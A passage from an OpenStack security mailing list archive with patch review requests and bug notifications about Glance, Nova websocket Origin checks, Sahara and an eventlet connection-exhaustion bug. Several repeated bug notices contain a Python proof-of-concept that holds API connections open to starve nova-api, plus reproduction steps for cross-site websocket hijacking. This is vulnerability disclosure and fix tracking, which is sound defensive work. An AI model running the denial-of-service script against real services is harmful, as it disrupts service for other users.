entry_points order for task execution. Although this works, it is not the most flexible/controllable way to do it. The second thing is that it relies on the aforementioned configuration option to enable/disable the task (as in, it becomes a non-op). There should be an explicit way to enable/disable tasks. Since both things mentioned in the previous paragraph affect the task management in general, I've decided to leave the fix for a follow-up patch. DocImpact SecurityImpact Partially-implements blueprint: new-upload-workflow Partially-implements blueprint: basic-import-conversion Change-Id: I0196a6f327c0147f897ae051ee60a8cb11b8fd40 From gerrit2 at review.openstack.org Wed Mar 11 22:29:05 2015 From: gerrit2 at review.openstack.org (gerrit2 at review.openstack.org) Date: Wed, 11 Mar 2015 22:29:05 +0000 Subject: [Openstack-security] [openstack/glance] SecurityImpact review request change I0196a6f327c0147f897ae051ee60a8cb11b8fd40 Message-ID: Hi, I'd like you to take a look at this patch for potential SecurityImpact. https://review.openstack.org/159129 Log: commit 4835eb494e66bfb26dd4b8a18bca163bf3366176 Author: Flavio Percoco Date: Wed Feb 25 14:50:06 2015 +0100 Basic support for image conversion This patch adds a task for image conversion. It uses `qemu-img` to convert images. This tool has support for several image formats. The current implementation converts images if and only if the operator has configured glance to do so. That is, the `convert_to_format` option has been set. There are few things about this patch that should be improved by follow-up patches. The first one is the fact that it relies on the entry_points order for task execution. Although this works, it is not the most flexible/controllable way to do it. The second thing is that it relies on the aforementioned configuration option to enable/disable the task (as in, it becomes a non-op). There should be an explicit way to enable/disable tasks. Since both things mentioned in the previous paragraph affect the task management in general, I've decided to leave the fix for a follow-up patch. DocImpact SecurityImpact Partially-implements blueprint: new-upload-workflow Partially-implements blueprint: basic-import-conversion Change-Id: I0196a6f327c0147f897ae051ee60a8cb11b8fd40 From gerrit2 at review.openstack.org Wed Mar 11 22:30:37 2015 From: gerrit2 at review.openstack.org (gerrit2 at review.openstack.org) Date: Wed, 11 Mar 2015 22:30:37 +0000 Subject: [Openstack-security] [openstack/glance-specs] SecurityImpact review request change If5047942f03915cc4b1e42a586cf403a4eceab58 Message-ID: Hi, I'd like you to take a look at this patch for potential SecurityImpact. https://review.openstack.org/149112 Log: commit 66cd50ffa4700fecb27512934bc2c803b5b82d95 Author: Ian Cordasco Date: Wed Jan 21 19:36:03 2015 -0600 Pass Targets to Glance's Policy Enforcer SecurityImpact Change-Id: If5047942f03915cc4b1e42a586cf403a4eceab58 From gerrit2 at review.openstack.org Thu Mar 12 02:41:12 2015 From: gerrit2 at review.openstack.org (gerrit2 at review.openstack.org) Date: Thu, 12 Mar 2015 02:41:12 +0000 Subject: [Openstack-security] [openstack/nova] SecurityImpact review request change Ica6ec23d6f69a236657d5ba0c3f51b693c633649 Message-ID: Hi, I'd like you to take a look at this patch for potential SecurityImpact. https://review.openstack.org/163033 Log: commit fef2944f970c7c6b45a218a58a0e75d0d4253d3c Author: Dave McCowan Date: Mon Mar 2 15:00:22 2015 -0500 Websocket Proxy should verify Origin header If the Origin HTTP header passed in the WebSocket handshake does not match the host, this could indicate an attempt at a cross-site attack. This commit adds a check to verify the origin matches the host. SecurityImpact Change-Id: Ica6ec23d6f69a236657d5ba0c3f51b693c633649 Closes-Bug: 1409142 From gerrit2 at review.openstack.org Thu Mar 12 04:09:05 2015 From: gerrit2 at review.openstack.org (gerrit2 at review.openstack.org) Date: Thu, 12 Mar 2015 04:09:05 +0000 Subject: [Openstack-security] [openstack/nova] SecurityImpact review request change Ica6ec23d6f69a236657d5ba0c3f51b693c633649 Message-ID: Hi, I'd like you to take a look at this patch for potential SecurityImpact. https://review.openstack.org/163033 Log: commit fdb73a2d445971c6158a80692c6f74094fd4193a Author: Dave McCowan Date: Mon Mar 2 15:00:22 2015 -0500 Websocket Proxy should verify Origin header If the Origin HTTP header passed in the WebSocket handshake does not match the host, this could indicate an attempt at a cross-site attack. This commit adds a check to verify the origin matches the host. SecurityImpact Change-Id: Ica6ec23d6f69a236657d5ba0c3f51b693c633649 Closes-Bug: 1409142 From gerrit2 at review.openstack.org Thu Mar 12 09:59:30 2015 From: gerrit2 at review.openstack.org (gerrit2 at review.openstack.org) Date: Thu, 12 Mar 2015 09:59:30 +0000 Subject: [Openstack-security] [openstack/keystone] SecurityImpact review request change I03b9c5c64f4bd8bca78dfc83199ef17d9a7ea5b7 Message-ID: Hi, I'd like you to take a look at this patch for potential SecurityImpact. https://review.openstack.org/130824 Log: commit 3b08644eb9cf4c5aca51a36250ae93105c17f6c4 Author: abhishekkekane Date: Tue Oct 21 04:10:57 2014 -0700 Eventlet green threads not released back to pool Presently, the wsgi server allows persist connections hence even after the response is sent to the client, it doesn't close the client socket connection. Because of this problem, the green thread is not released back to the pool. In order to close the client socket connection explicitly after the response is sent and read successfully by the client, you simply have to set keepalive to False when you create a wsgi server. Add a parameter to take advantage of the new(ish) eventlet socket timeout behaviour. Allows closing idle client connections after a period of time, eg: $ time nc localhost 8776 real 1m0.063s Setting 'client_socket_timeout = 0' means do not timeout. DocImpact: Added wsgi_keep_alive option (default=True). Added client_socket_timeout option (default=900). SecurityImpact Closes-Bug: #1361360 Change-Id: I03b9c5c64f4bd8bca78dfc83199ef17d9a7ea5b7 From gerrit2 at review.openstack.org Thu Mar 12 16:19:29 2015 From: gerrit2 at review.openstack.org (gerrit2 at review.openstack.org) Date: Thu, 12 Mar 2015 16:19:29 +0000 Subject: [Openstack-security] [openstack/glance] SecurityImpact review request change I0196a6f327c0147f897ae051ee60a8cb11b8fd40 Message-ID: Hi, I'd like you to take a look at this patch for potential SecurityImpact. https://review.openstack.org/159129 Log: commit 1b144f4c12fd6da58d7c48348bf7bab5873388e9 Author: Flavio Percoco Date: Wed Feb 25 14:50:06 2015 +0100 Basic support for image conversion This patch adds a task for image conversion. It uses `qemu-img` to convert images. This tool has support for several image formats. The current implementation converts images if and only if the operator has configured glance to do so. That is, the `convert_to_format` option has been set. There are few things about this patch that should be improved by follow-up patches. The first one is the fact that it relies on the entry_points order for task execution. Although this works, it is not the most flexible/controllable way to do it. The second thing is that it relies on the aforementioned configuration option to enable/disable the task (as in, it becomes a non-op). There should be an explicit way to enable/disable tasks. Since both things mentioned in the previous paragraph affect the task management in general, I've decided to leave the fix for a follow-up patch. DocImpact SecurityImpact Partially-implements blueprint: new-upload-workflow Partially-implements blueprint: basic-import-conversion Change-Id: I0196a6f327c0147f897ae051ee60a8cb11b8fd40 From 1361360 at bugs.launchpad.net Thu Mar 12 18:18:53 2015 From: 1361360 at bugs.launchpad.net (OpenStack Infra) Date: Thu, 12 Mar 2015 18:18:53 -0000 Subject: [Openstack-security] [Bug 1361360] Fix merged to neutron (stable/icehouse) References: <20140825203231.13086.48412.malonedeb@wampee.canonical.com> Message-ID: <20150312181853.24692.38342.malone@chaenomeles.canonical.com> Reviewed: https://review.openstack.org/144714 Committed: https://git.openstack.org/cgit/openstack/neutron/commit/?id=4cdbefc202acc2499c253da625db48d6165b7c84 Submitter: Jenkins Branch: stable/icehouse commit 4cdbefc202acc2499c253da625db48d6165b7c84 Author: abhishekkekane Date: Tue Oct 21 04:15:15 2014 -0700 Eventlet green threads not released back to pool Presently, the wsgi server allows persist connections. Hence even after the response is sent to the client, it doesn't close the client socket connection. Because of this problem, the green thread is not released back to the pool. In order to close the client socket connection explicitly after the response is sent and read successfully by the client, you simply have to set keepalive to False when you create a wsgi server. Icehouse backport note: socket_timeout was dropped, it was introduced in 0.14[*] and Icehouse eventlet lower bound is 0.13 [*] https://github.com/eventlet/eventlet/commit/7d4916f01462de09cb58853d9de2e85777c2ad5b DocImpact: Added wsgi_keep_alive option (default=True). SecurityImpact Closes-Bug: #1361360 Change-Id: I3a361d6590d1800b85791f23ac1cdfd79815341b (cherry picked from commit 8e7a0dbb12082f6159d98a4628fb8a6fcd05e95a) -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1361360 Title: Eventlet green threads not released back to the pool leading to choking of new requests Status in Cinder: Fix Released Status in Cinder icehouse series: Fix Committed Status in Cinder juno series: Fix Released Status in OpenStack Image Registry and Delivery Service (Glance): Fix Committed Status in Glance icehouse series: In Progress Status in Orchestration API (Heat): In Progress Status in OpenStack Identity (Keystone): In Progress Status in Keystone icehouse series: Confirmed Status in Keystone juno series: Fix Committed Status in OpenStack Neutron (virtual network service): Fix Released Status in neutron icehouse series: New Status in neutron juno series: Fix Committed Status in OpenStack Compute (Nova): Fix Released Status in OpenStack Compute (nova) icehouse series: In Progress Status in OpenStack Security Advisories: Won't Fix Status in OpenStack Data Processing (Sahara): New Bug description: Currently reproduced on Juno milestone 2. but this issue should be reproducible in all releases since its inception. It is possible to choke OpenStack API controller services using wsgi+eventlet library by simply not closing the client socket connection. Whenever a request is received by any OpenStack API service for example nova api service, eventlet library creates a green thread from the pool and starts processing the request. Even after the response is sent to the caller, the green thread is not returned back to the pool until the client socket connection is closed. This way, any malicious user can send many API requests to the API controller node and determine the wsgi pool size configured for the given service and then send those many requests to the service and after receiving the response, wait there infinitely doing nothing leading to disrupting services for other tenants. Even when service providers have enabled rate limiting feature, it is possible to choke the API services with a group (many tenants) attack. Following program illustrates choking of nova-api services (but this problem is omnipresent in all other OpenStack API Services using wsgi+eventlet) Note: I have explicitly set the wsi_default_pool_size default value to 10 in order to reproduce this problem in nova/wsgi.py. After you run the below program, you should try to invoke API ============================================================================================ import time import requests from multiprocessing import Process def request(number): #Port is important here path = 'http://127.0.0.1:8774/servers' try: response = requests.get(path) print "RESPONSE %s-%d" % (response.status_code, number) #during this sleep time, check if the client socket connection is released or not on the API controller node. time.sleep(1000) print “Thread %d complete" % number except requests.exceptions.RequestException as ex: print “Exception occurred %d-%s" % (number, str(ex)) if __name__ == '__main__': processes = [] for number in range(40): p = Process(target=request, args=(number,)) p.start() processes.append(p) for p in processes: p.join() ================================================================================================ Presently, the wsgi server allows persist connections if you configure keepalive to True which is default. In order to close the client socket connection explicitly after the response is sent and read successfully by the client, you simply have to set keepalive to False when you create a wsgi server. Additional information: By default eventlet passes “Connection: keepalive” if keepalive is set to True when a response is sent to the client. But it doesn’t have capability to set the timeout and max parameter. For example. Keep-Alive: timeout=10, max=5 Note: After we have disabled keepalive in all the OpenStack API service using wsgi library, then it might impact all existing applications built with the assumptions that OpenStack API services uses persistent connections. They might need to modify their applications if reconnection logic is not in place and also they might experience the performance has slowed down as it will need to reestablish the http connection for every request. To manage notifications about this bug go to: https://bugs.launchpad.net/cinder/+bug/1361360/+subscriptions From 1361360 at bugs.launchpad.net Thu Mar 12 21:08:48 2015 From: 1361360 at bugs.launchpad.net (Alan Pevec) Date: Thu, 12 Mar 2015 21:08:48 -0000 Subject: [Openstack-security] [Bug 1361360] Re: Eventlet green threads not released back to the pool leading to choking of new requests References: <20140825203231.13086.48412.malonedeb@wampee.canonical.com> Message-ID: <20150312210852.25365.1289.launchpad@chaenomeles.canonical.com> ** Changed in: cinder/icehouse Milestone: None => 2014.1.4 ** Changed in: cinder/icehouse Importance: Undecided => High ** Changed in: neutron/icehouse Importance: Undecided => High ** Changed in: neutron/icehouse Status: New => Fix Committed ** Changed in: neutron/icehouse Milestone: None => 2014.1.4 -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1361360 Title: Eventlet green threads not released back to the pool leading to choking of new requests Status in Cinder: Fix Released Status in Cinder icehouse series: Fix Committed Status in Cinder juno series: Fix Released Status in OpenStack Image Registry and Delivery Service (Glance): Fix Committed Status in Glance icehouse series: In Progress Status in Orchestration API (Heat): In Progress Status in OpenStack Identity (Keystone): In Progress Status in Keystone icehouse series: Confirmed Status in Keystone juno series: Fix Committed Status in OpenStack Neutron (virtual network service): Fix Released Status in neutron icehouse series: Fix Committed Status in neutron juno series: Fix Committed Status in OpenStack Compute (Nova): Fix Released Status in OpenStack Compute (nova) icehouse series: In Progress Status in OpenStack Security Advisories: Won't Fix Status in OpenStack Data Processing (Sahara): New Bug description: Currently reproduced on Juno milestone 2. but this issue should be reproducible in all releases since its inception. It is possible to choke OpenStack API controller services using wsgi+eventlet library by simply not closing the client socket connection. Whenever a request is received by any OpenStack API service for example nova api service, eventlet library creates a green thread from the pool and starts processing the request. Even after the response is sent to the caller, the green thread is not returned back to the pool until the client socket connection is closed. This way, any malicious user can send many API requests to the API controller node and determine the wsgi pool size configured for the given service and then send those many requests to the service and after receiving the response, wait there infinitely doing nothing leading to disrupting services for other tenants. Even when service providers have enabled rate limiting feature, it is possible to choke the API services with a group (many tenants) attack. Following program illustrates choking of nova-api services (but this problem is omnipresent in all other OpenStack API Services using wsgi+eventlet) Note: I have explicitly set the wsi_default_pool_size default value to 10 in order to reproduce this problem in nova/wsgi.py. After you run the below program, you should try to invoke API ============================================================================================ import time import requests from multiprocessing import Process def request(number): #Port is important here path = 'http://127.0.0.1:8774/servers' try: response = requests.get(path) print "RESPONSE %s-%d" % (response.status_code, number) #during this sleep time, check if the client socket connection is released or not on the API controller node. time.sleep(1000) print “Thread %d complete" % number except requests.exceptions.RequestException as ex: print “Exception occurred %d-%s" % (number, str(ex)) if __name__ == '__main__': processes = [] for number in range(40): p = Process(target=request, args=(number,)) p.start() processes.append(p) for p in processes: p.join() ================================================================================================ Presently, the wsgi server allows persist connections if you configure keepalive to True which is default. In order to close the client socket connection explicitly after the response is sent and read successfully by the client, you simply have to set keepalive to False when you create a wsgi server. Additional information: By default eventlet passes “Connection: keepalive” if keepalive is set to True when a response is sent to the client. But it doesn’t have capability to set the timeout and max parameter. For example. Keep-Alive: timeout=10, max=5 Note: After we have disabled keepalive in all the OpenStack API service using wsgi library, then it might impact all existing applications built with the assumptions that OpenStack API services uses persistent connections. They might need to modify their applications if reconnection logic is not in place and also they might experience the performance has slowed down as it will need to reestablish the http connection for every request. To manage notifications about this bug go to: https://bugs.launchpad.net/cinder/+bug/1361360/+subscriptions From 1361360 at bugs.launchpad.net Thu Mar 12 23:30:03 2015 From: 1361360 at bugs.launchpad.net (Alan Pevec) Date: Thu, 12 Mar 2015 23:30:03 -0000 Subject: [Openstack-security] [Bug 1361360] Re: Eventlet green threads not released back to the pool leading to choking of new requests References: <20140825203231.13086.48412.malonedeb@wampee.canonical.com> Message-ID: <20150312233007.18420.3212.launchpad@gac.canonical.com> ** Changed in: nova/icehouse Milestone: 2014.1.4 => None -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1361360 Title: Eventlet green threads not released back to the pool leading to choking of new requests Status in Cinder: Fix Released Status in Cinder icehouse series: Fix Committed Status in Cinder juno series: Fix Released Status in OpenStack Image Registry and Delivery Service (Glance): Fix Committed Status in Glance icehouse series: In Progress Status in Orchestration API (Heat): In Progress Status in OpenStack Identity (Keystone): In Progress Status in Keystone icehouse series: Confirmed Status in Keystone juno series: Fix Committed Status in OpenStack Neutron (virtual network service): Fix Released Status in neutron icehouse series: Fix Committed Status in neutron juno series: Fix Committed Status in OpenStack Compute (Nova): Fix Released Status in OpenStack Compute (nova) icehouse series: In Progress Status in OpenStack Security Advisories: Won't Fix Status in OpenStack Data Processing (Sahara): New Bug description: Currently reproduced on Juno milestone 2. but this issue should be reproducible in all releases since its inception. It is possible to choke OpenStack API controller services using wsgi+eventlet library by simply not closing the client socket connection. Whenever a request is received by any OpenStack API service for example nova api service, eventlet library creates a green thread from the pool and starts processing the request. Even after the response is sent to the caller, the green thread is not returned back to the pool until the client socket connection is closed. This way, any malicious user can send many API requests to the API controller node and determine the wsgi pool size configured for the given service and then send those many requests to the service and after receiving the response, wait there infinitely doing nothing leading to disrupting services for other tenants. Even when service providers have enabled rate limiting feature, it is possible to choke the API services with a group (many tenants) attack. Following program illustrates choking of nova-api services (but this problem is omnipresent in all other OpenStack API Services using wsgi+eventlet) Note: I have explicitly set the wsi_default_pool_size default value to 10 in order to reproduce this problem in nova/wsgi.py. After you run the below program, you should try to invoke API ============================================================================================ import time import requests from multiprocessing import Process def request(number): #Port is important here path = 'http://127.0.0.1:8774/servers' try: response = requests.get(path) print "RESPONSE %s-%d" % (response.status_code, number) #during this sleep time, check if the client socket connection is released or not on the API controller node. time.sleep(1000) print “Thread %d complete" % number except requests.exceptions.RequestException as ex: print “Exception occurred %d-%s" % (number, str(ex)) if __name__ == '__main__': processes = [] for number in range(40): p = Process(target=request, args=(number,)) p.start() processes.append(p) for p in processes: p.join() ================================================================================================ Presently, the wsgi server allows persist connections if you configure keepalive to True which is default. In order to close the client socket connection explicitly after the response is sent and read successfully by the client, you simply have to set keepalive to False when you create a wsgi server. Additional information: By default eventlet passes “Connection: keepalive” if keepalive is set to True when a response is sent to the client. But it doesn’t have capability to set the timeout and max parameter. For example. Keep-Alive: timeout=10, max=5 Note: After we have disabled keepalive in all the OpenStack API service using wsgi library, then it might impact all existing applications built with the assumptions that OpenStack API services uses persistent connections. They might need to modify their applications if reconnection logic is not in place and also they might experience the performance has slowed down as it will need to reestablish the http connection for every request. To manage notifications about this bug go to: https://bugs.launchpad.net/cinder/+bug/1361360/+subscriptions From 1361360 at bugs.launchpad.net Fri Mar 13 00:59:04 2015 From: 1361360 at bugs.launchpad.net (Alan Pevec) Date: Fri, 13 Mar 2015 00:59:04 -0000 Subject: [Openstack-security] [Bug 1361360] Re: Eventlet green threads not released back to the pool leading to choking of new requests References: <20140825203231.13086.48412.malonedeb@wampee.canonical.com> Message-ID: <20150313005911.14566.84281.launchpad@wampee.canonical.com> ** Changed in: neutron/icehouse Status: Fix Committed => Fix Released ** Changed in: cinder/icehouse Status: Fix Committed => Fix Released -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1361360 Title: Eventlet green threads not released back to the pool leading to choking of new requests Status in Cinder: Fix Released Status in Cinder icehouse series: Fix Released Status in Cinder juno series: Fix Released Status in OpenStack Image Registry and Delivery Service (Glance): Fix Committed Status in Glance icehouse series: In Progress Status in Orchestration API (Heat): In Progress Status in OpenStack Identity (Keystone): In Progress Status in Keystone icehouse series: Confirmed Status in Keystone juno series: Fix Committed Status in OpenStack Neutron (virtual network service): Fix Released Status in neutron icehouse series: Fix Released Status in neutron juno series: Fix Committed Status in OpenStack Compute (Nova): Fix Released Status in OpenStack Compute (nova) icehouse series: In Progress Status in OpenStack Security Advisories: Won't Fix Status in OpenStack Data Processing (Sahara): New Bug description: Currently reproduced on Juno milestone 2. but this issue should be reproducible in all releases since its inception. It is possible to choke OpenStack API controller services using wsgi+eventlet library by simply not closing the client socket connection. Whenever a request is received by any OpenStack API service for example nova api service, eventlet library creates a green thread from the pool and starts processing the request. Even after the response is sent to the caller, the green thread is not returned back to the pool until the client socket connection is closed. This way, any malicious user can send many API requests to the API controller node and determine the wsgi pool size configured for the given service and then send those many requests to the service and after receiving the response, wait there infinitely doing nothing leading to disrupting services for other tenants. Even when service providers have enabled rate limiting feature, it is possible to choke the API services with a group (many tenants) attack. Following program illustrates choking of nova-api services (but this problem is omnipresent in all other OpenStack API Services using wsgi+eventlet) Note: I have explicitly set the wsi_default_pool_size default value to 10 in order to reproduce this problem in nova/wsgi.py. After you run the below program, you should try to invoke API ============================================================================================ import time import requests from multiprocessing import Process def request(number): #Port is important here path = 'http://127.0.0.1:8774/servers' try: response = requests.get(path) print "RESPONSE %s-%d" % (response.status_code, number) #during this sleep time, check if the client socket connection is released or not on the API controller node. time.sleep(1000) print “Thread %d complete" % number except requests.exceptions.RequestException as ex: print “Exception occurred %d-%s" % (number, str(ex)) if __name__ == '__main__': processes = [] for number in range(40): p = Process(target=request, args=(number,)) p.start() processes.append(p) for p in processes: p.join() ================================================================================================ Presently, the wsgi server allows persist connections if you configure keepalive to True which is default. In order to close the client socket connection explicitly after the response is sent and read successfully by the client, you simply have to set keepalive to False when you create a wsgi server. Additional information: By default eventlet passes “Connection: keepalive” if keepalive is set to True when a response is sent to the client. But it doesn’t have capability to set the timeout and max parameter. For example. Keep-Alive: timeout=10, max=5 Note: After we have disabled keepalive in all the OpenStack API service using wsgi library, then it might impact all existing applications built with the assumptions that OpenStack API services uses persistent connections. They might need to modify their applications if reconnection logic is not in place and also they might experience the performance has slowed down as it will need to reestablish the http connection for every request. To manage notifications about this bug go to: https://bugs.launchpad.net/cinder/+bug/1361360/+subscriptions From msm at redhat.com Fri Mar 13 16:12:21 2015 From: msm at redhat.com (Michael McCune) Date: Fri, 13 Mar 2015 16:12:21 -0000 Subject: [Openstack-security] [Bug 1431944] [NEW] Swift passwords should use key manager interface References: <20150313161221.24854.14570.malonedeb@chaenomeles.canonical.com> Message-ID: <20150313161221.24854.14570.malonedeb@chaenomeles.canonical.com> *** This bug is a security vulnerability *** Public security bug reported: Swift passwords are currently stored in the default database. This behavior should be migrated to the key manager interface to allow for storage in an external manager (when enabled). ** Affects: sahara Importance: Undecided Status: New ** Tags: security -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1431944 Title: Swift passwords should use key manager interface Status in OpenStack Data Processing (Sahara): New Bug description: Swift passwords are currently stored in the default database. This behavior should be migrated to the key manager interface to allow for storage in an external manager (when enabled). To manage notifications about this bug go to: https://bugs.launchpad.net/sahara/+bug/1431944/+subscriptions From tristan.cacqueray at enovance.com Fri Mar 13 17:47:32 2015 From: tristan.cacqueray at enovance.com (Tristan Cacqueray) Date: Fri, 13 Mar 2015 17:47:32 -0000 Subject: [Openstack-security] [Bug 1409142] Re: [OSSA 2015-005] Websocket Hijacking Vulnerability in Nova VNC Server (CVE-2015-0259) References: <20150109220130.23970.7685.malonedeb@gac.canonical.com> Message-ID: <20150313174734.18883.47390.launchpad@gac.canonical.com> ** Changed in: ossa Status: Fix Committed => Fix Released -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1409142 Title: [OSSA 2015-005] Websocket Hijacking Vulnerability in Nova VNC Server (CVE-2015-0259) Status in OpenStack Compute (Nova): Fix Committed Status in OpenStack Compute (nova) icehouse series: Fix Released Status in OpenStack Compute (nova) juno series: Fix Committed Status in OpenStack Security Advisories: Fix Released Bug description: This issue is being treated as a potential security risk under embargo. Please do not make any public mention of embargoed (private) security vulnerabilities before their coordinated publication by the OpenStack Vulnerability Management Team in the form of an official OpenStack Security Advisory. This includes discussion of the bug or associated fixes in public forums such as mailing lists, code review systems and bug trackers. Please also avoid private disclosure to other individuals not already approved for access to this information, and provide this same reminder to those who are made aware of the issue prior to publication. All discussion should remain confined to this private bug report, and any proposed fixes should be added as to the bug as attachments. OpenStack Vulnerability Team: Brian Manifold (bmanifol at cisco.com) from Cisco has discovered a vulnerability in the Nova VNC server implementation. We have a patch for this vulnerability and consider this a very high risk. Please email Dave McCowan (dmccowan at cisco.com) for more details on the attached patch. Issue Details: Horizon uses a VNC client which uses websockets to pass information. The Nova VNC server does not validate the origin of the websocket request, which allows an attacker to make a websocket request from another domain. If the victim opens both an attacker's site and the VNC console simultaneously, or if the victim has recently been using the VNC console and then visits the attacker's site, the attacker can make a websocket request to the Horizon domain and proxy the connection to another destination. This gives the attacker full read-write access to the VNC console of any instance recently accessed by the victim. Recommendation:  Verify the origin field in request header on all websocket requests. Threat:       CWE-345  * Insufficient Verification of Data Authenticity -- The software does not sufficiently verify the origin or authenticity of data, in a way that causes it to accept invalid data.       CWE-346  * Origin Validation Error -- The software does not properly verify that the source of data or communication is valid.       CWE-441  * Unintended Proxy or Intermediary ('Confused Deputy') -- The software receives a request, message, or directive from an upstream component, but the software does not sufficiently preserve the original source of the request before forwarding the request to an external actor that is outside of the software's control sphere. This causes the software to appear to be the source of the request, leading it to act as a proxy or other intermediary between the upstream component and the external actor. Steps to reproduce:  1. Login to horizon  2. Pick an instance, go to console/vnc tab, wait for console to be loaded  3. In another browser tab or window, load a VNC console script from local disk or remote site  4. Point the newly loaded VNC console to the VNC server and a connection is made Result:  The original connection has been been hijacked by the second connection Root cause:  Cross-Site WebSocket Hijacking is concept that has been written about in various security blogs. One of the recommended countermeasures is to check the Origin header of the WebSocket handshake request. To manage notifications about this bug go to: https://bugs.launchpad.net/nova/+bug/1409142/+subscriptions From gerrit2 at review.openstack.org Mon Mar 16 10:37:10 2015 From: gerrit2 at review.openstack.org (gerrit2 at review.openstack.org) Date: Mon, 16 Mar 2015 10:37:10 +0000 Subject: [Openstack-security] [openstack/nova] SecurityImpact review request change I3b14a37edbe4bdc5db31ff4f08f78e78b60077ff Message-ID: Hi, I'd like you to take a look at this patch for potential SecurityImpact. https://review.openstack.org/164643 Log: commit 392dc228034bbd8968f4c65ddfce6343bff938ea Author: abhishekkekane Date: Tue Oct 21 01:37:42 2014 -0700 Eventlet green threads not released back to pool Presently, the wsgi server allows persist connections hence even after the response is sent to the client, it doesn't close the client socket connection. Because of this problem, the green thread is not released back to the pool. In order to close the client socket connection explicitly after the response is sent and read successfully by the client, you simply have to set keepalive to False when you create a wsgi server. Icehouse backport note: socket_timeout was dropped, it was introduced in 0.14[*] and Icehouse eventlet lower bound is 0.13 [*] https://github.com/eventlet/eventlet/commit/7d4916f01462de09cb58853d9de2e85777c2ad5b Note: The required unit-tests are manually added to the below path, as new path for unit-tests is not present in stable/icehouse release. nova/tests/test_wsgi.py DocImpact: Added wsgi_keep_alive option (default=True). SecurityImpact Conflicts: nova/tests/unit/test_wsgi.py Closes-Bug: #1361360 (cherry picked from commit 04d7a724fdf80db51e73f12c5b8c982db9310742) Change-Id: I3b14a37edbe4bdc5db31ff4f08f78e78b60077ff From 1361360 at bugs.launchpad.net Mon Mar 16 10:37:04 2015 From: 1361360 at bugs.launchpad.net (OpenStack Infra) Date: Mon, 16 Mar 2015 10:37:04 -0000 Subject: [Openstack-security] [Bug 1361360] Fix proposed to nova (stable/icehouse) References: <20140825203231.13086.48412.malonedeb@wampee.canonical.com> Message-ID: <20150316103704.18636.85262.malone@gac.canonical.com> Fix proposed to branch: stable/icehouse Review: https://review.openstack.org/164643 -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1361360 Title: Eventlet green threads not released back to the pool leading to choking of new requests Status in Cinder: Fix Released Status in Cinder icehouse series: Fix Released Status in Cinder juno series: Fix Released Status in OpenStack Image Registry and Delivery Service (Glance): Fix Committed Status in Glance icehouse series: In Progress Status in Orchestration API (Heat): In Progress Status in OpenStack Identity (Keystone): In Progress Status in Keystone icehouse series: Confirmed Status in Keystone juno series: Fix Committed Status in OpenStack Neutron (virtual network service): Fix Released Status in neutron icehouse series: Fix Released Status in neutron juno series: Fix Committed Status in OpenStack Compute (Nova): Fix Released Status in OpenStack Compute (nova) icehouse series: In Progress Status in OpenStack Security Advisories: Won't Fix Status in OpenStack Data Processing (Sahara): New Bug description: Currently reproduced on Juno milestone 2. but this issue should be reproducible in all releases since its inception. It is possible to choke OpenStack API controller services using wsgi+eventlet library by simply not closing the client socket connection. Whenever a request is received by any OpenStack API service for example nova api service, eventlet library creates a green thread from the pool and starts processing the request. Even after the response is sent to the caller, the green thread is not returned back to the pool until the client socket connection is closed. This way, any malicious user can send many API requests to the API controller node and determine the wsgi pool size configured for the given service and then send those many requests to the service and after receiving the response, wait there infinitely doing nothing leading to disrupting services for other tenants. Even when service providers have enabled rate limiting feature, it is possible to choke the API services with a group (many tenants) attack. Following program illustrates choking of nova-api services (but this problem is omnipresent in all other OpenStack API Services using wsgi+eventlet) Note: I have explicitly set the wsi_default_pool_size default value to 10 in order to reproduce this problem in nova/wsgi.py. After you run the below program, you should try to invoke API ============================================================================================ import time import requests from multiprocessing import Process def request(number): #Port is important here path = 'http://127.0.0.1:8774/servers' try: response = requests.get(path) print "RESPONSE %s-%d" % (response.status_code, number) #during this sleep time, check if the client socket connection is released or not on the API controller node. time.sleep(1000) print “Thread %d complete" % number except requests.exceptions.RequestException as ex: print “Exception occurred %d-%s" % (number, str(ex)) if __name__ == '__main__': processes = [] for number in range(40): p = Process(target=request, args=(number,)) p.start() processes.append(p) for p in processes: p.join() ================================================================================================ Presently, the wsgi server allows persist connections if you configure keepalive to True which is default. In order to close the client socket connection explicitly after the response is sent and read successfully by the client, you simply have to set keepalive to False when you create a wsgi server. Additional information: By default eventlet passes “Connection: keepalive” if keepalive is set to True when a response is sent to the client. But it doesn’t have capability to set the timeout and max parameter. For example. Keep-Alive: timeout=10, max=5 Note: After we have disabled keepalive in all the OpenStack API service using wsgi library, then it might impact all existing applications built with the assumptions that OpenStack API services uses persistent connections. They might need to modify their applications if reconnection logic is not in place and also they might experience the performance has slowed down as it will need to reestablish the http connection for every request. To manage notifications about this bug go to: https://bugs.launchpad.net/cinder/+bug/1361360/+subscriptions From 1394988 at bugs.launchpad.net Mon Mar 16 16:30:24 2015 From: 1394988 at bugs.launchpad.net (OpenStack Infra) Date: Mon, 16 Mar 2015 16:30:24 -0000 Subject: [Openstack-security] [Bug 1394988] Re: Hadoop with auto security group not working References: <20141121132920.28673.42565.malonedeb@wampee.canonical.com> Message-ID: <20150316163024.25778.77155.malone@soybean.canonical.com> Reviewed: https://review.openstack.org/150823 Committed: https://git.openstack.org/cgit/openstack/sahara/commit/?id=ebb865d2ec9ece72dc41f285143cf2cf4ae405e6 Submitter: Jenkins Branch: stable/juno commit ebb865d2ec9ece72dc41f285143cf2cf4ae405e6 Author: Sergey Reshetnyak Date: Thu Nov 20 21:15:45 2014 +0300 Open all ports for private network for auto SG Closes-bug: #1394988 Change-Id: I07485c286a501bff52f8c67ffd0cc841814a5c9c (cherry picked from commit 7c4ea57548c34a84996ba36fbdf6d63b17bf6cf3) ** Changed in: sahara/juno Status: In Progress => Fix Committed -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1394988 Title: Hadoop with auto security group not working Status in OpenStack Data Processing (Sahara): Fix Released Status in Sahara juno series: Fix Committed Bug description: ENV: OpenStack with Neutron Steps to 